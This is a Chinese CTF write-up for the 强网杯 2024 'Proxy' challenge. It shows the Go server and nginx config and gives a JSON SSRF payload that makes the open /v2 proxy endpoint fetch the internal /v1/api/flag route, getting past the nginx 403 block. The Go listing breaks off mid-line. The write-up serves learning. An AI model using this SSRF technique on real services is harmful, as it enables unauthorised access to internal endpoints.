Proxy_强网24

分析和尝试(DONE)

  1. 是一个go的http服务器,目标是/v1/readflag

  2. 发现proxy.conf中/v1是403,那就需要绕过了,重定向?

  3. 这里的nginx是反向代理,进行转发,除了403不用管

  4. ai一下代码进行分析(go还没学),思路

    1. 要是abs并FollowRedirects,返回nil则可以重定向
    2. 这根本就没有限制啊,直接构造发送
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 将下述这个包发送到/v2/路由即可
    {
    "url": "https://target/v1/api/flag",
    "method": "POST",
    "headers": {
    "Content-Type": "application/json",
    },
    "follow_redirects": true
    }

    // 看来wp发现最简单的包是
    {"URL":"http://127.0.0.1:8769/v1/api/flag","Method":"POST","Body":""}

*其他注意点

  1. .ShouldBindJSON(&proxyRequest):将客户端发来的 JSON 请求体解析到 proxyRequest 结构体中。这里可以不用header这里,有点理解错了,但是问题不大
  2. nginx反向代理,见proxy.conf
    1. 反向代理就是在服务端的代理,统一收包再分流,再nginx中配置如proxy.conf
    2. 配置保存到 Nginx 的配置文件中,通常是 /etc/nginx/nginx.conf 或 /etc/nginx/conf.d/your_config_file.conf

源码

  1. 感觉没什么好讲的,多chat就对了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// main.go
package main

import (
"bytes"
"io"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
// 解释:这里定义了接受的格式,非常容易看,map用{}json对象标识即可
}

func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Bo

// proxy.conf
server {
listen 8000;

location ~ /v1 {
return 403; // location ~ /v1:使用正则表达式匹配以 /v1 开头的请求
}

location ~ /v2 {
proxy_pass http://localhost:8769; // 将匹配的请求代理到本地的 8769 端口,即你的后端服务
proxy_http_version 1.1;
proxy_set_header Host $host; // 设置 Host 头为原始请求的 Host,确保后端服务知道原始请求的主机名
proxy_set_header X-Real-IP $remote_addr; // 设置 X-Real-IP 头为客户端的真实 IP 地址,后端服务可以使用这个头来获取客户端的 IP
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 设置 X-Forwarded-For 头,包含客户端的真实 IP 地址,后端服务可以使用这个头来获取客户端的 IP
// 因为经过了再一次转发,所以一般会传递一些请求头
}
}